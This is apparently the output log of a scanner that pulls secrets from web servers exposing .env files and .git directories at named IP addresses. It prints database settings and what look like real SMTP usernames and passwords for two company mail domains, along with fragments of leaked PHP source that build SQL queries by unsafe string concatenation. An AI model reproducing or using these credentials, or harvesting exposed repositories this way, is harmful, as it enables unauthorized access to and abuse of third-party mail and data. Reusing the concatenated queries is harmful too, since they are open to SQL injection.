|
=== http://52.53.229.83 → [pack-blob@3211] === [DB_PORT] 3306 [DB_NAME] homestead [DB_USER] homestead [DB_USER_PROP] homestead [DB_NAME_PROP] homestead --- Raw --- APP_NAME=Lumen APP_ENV=local APP_KEY= APP_DEBUG=true APP_URL=http://localhost APP_TIMEZONE=UTC LOG_CHANNEL=stack LOG_SLACK_WEBHOOK_URL= DB_CONNECTION=mysql DB_HOST=127.0.0.1 DB_PORT=3306 DB_DATABASE=homestead DB_USERNAME=homestead DB_PASSWORD=secret CACHE_DRIVER=file QUEUE_CONNECTION=sync ------------------------------------------------------------ === http://24.199.75.14 → /.git/ERP/funciones.php === [PHPMAIL_USER] notificaciones@gymcloud.mx [PHPMAIL_PASS] iq!84ZDKdii} [PHPMAIL_HOST] mail.gymcloud.mx [PHPMAIL_PORT] 465 --- Raw ---
|
'; return $body; } function sendMail($destino, $body, $asunto){ require_once('phpmailer/class.phpmailer.php'); $mail = new PHPMailer(); $mail->IsSMTP(); $mail->Host = 'mail.gymcloud.mx'; $mail->SMTPAuth = true; $mail->Username = "notificaciones@gymcloud.mx"; $mail->Password = "iq!84ZDKdii}"; $mail->SMTPSecure = 'ssl'; $mail->Port = 465; $mail->SetFrom("notificaciones@gymcloud.mx", 'Sitio Web'); $mail->AddAddress($destino, "Administrador"); $mail->Subject = $asunto; $mail->MsgHTML($body); return $mail->Send() ? "ok" : "err"; } function avanceProduccion($idMovimiento){ $bd = new MYSQLIFunctions(); $porcentajeAvance = 0; $porcentajeEstacion = 100; $estatusMov = $bd->select("SELECT Estatus as variable FROM movimientos WHERE Id='".$idMovimiento."'")['variable']; if($estatusMov==1){ return 100; } else if($estatusMov != 5){ // que aún no pasa ingenieria return $porcentajeAvance; } $cantidad = $bd->select("SELECT Cantidad as cantidad FROM movimientos WHERE Id= ".$idMovimiento." AND Estatus > 0")['cantidad']; //$numEstaciones = $bd->select("SELECT COUNT(Valor2) as numEstaciones FROM relaciones WHERE Tipo='DibujoEstacion' AND Valor1 = " . $idMovimiento . " AND Valor2!='I' AND Valor2!='F' AND Estatus > 0 ORDER BY CAST(Valor3 AS UNSIGNED) ASC ")['numEstaciones']; $estVariables = 0; $porcentAcumFijo = 0; $esta = $bd->query("SELECT Valor2 FROM relaciones WHERE Tipo='DibujoEstacion' AND Valor1 = " . $idMovimiento . " AND Valor2!='I' AND Valor2!='F' AND Estatus > 0 ORDER BY CAST(Valor3 AS UNSIGNED) ASC"); while ($resEsta = $bd->fassoc($esta)) { $porcentaje = $bd->select("SELECT Atributo4 as variable FROM `catalogos` WHERE Tipo='Estacion' AND Valor='".$resEsta['Valor2']."' ")['variable']; if($porcentaje > 0){ $porcentajeEstacion = $porcentajeEstacion-$porcentaje; $porcentAcumFijo += $porcentaje; } else $estVariables++; } $porcentajeEstacion = $porcentajeEstacion / $estVariables; $consultaEstaciones = $bd->query("SELECT Valor2, Id FROM relaciones WHERE Tipo='DibujoEstacion' AND Valor1 = " . $idMovimiento . " AND Valor2!='I' AND Valor2!='F' AND Estatus > 0 ORDER BY CAST(Valor3 AS UNSIGNED) ASC"); while ($res = $bd->fassoc($consultaEstaciones)) { $porcentaje = 0; $consultaProduccion = $bd->query("SELECT Piezas, Pendientes, Estatus FROM `produccion` WHERE IdMovimiento='" . $idMovimiento. "' AND Estacion='" . $res['Valor2'] . "' AND IdRelacion = '".$res['Id']."'"); while ($res2 = $bd->fassoc($consultaProduccion)) { $piezasConteo = 0; if ($res2['Estatus'] == 5 AND $res2['Pendientes'] > 0) { $porcentaje = 1; //dejar mayor a cero para que no afecte con ingenieria $piezasConteo = $res2['Pendientes']; ------------------------------------------------------------ === http://24.199.75.14 → /.git/correo.php === [PHPMAIL_USER] web@dymap.mx [PHPMAIL_PASS] Mxn%7R0@y8o= [PHPMAIL_HOST] mail.dymap.mx [PHPMAIL_PORT] 465 --- Raw --- require_once('phpmailer/class.phpmailer.php'); $mail = new PHPMailer(); $body = "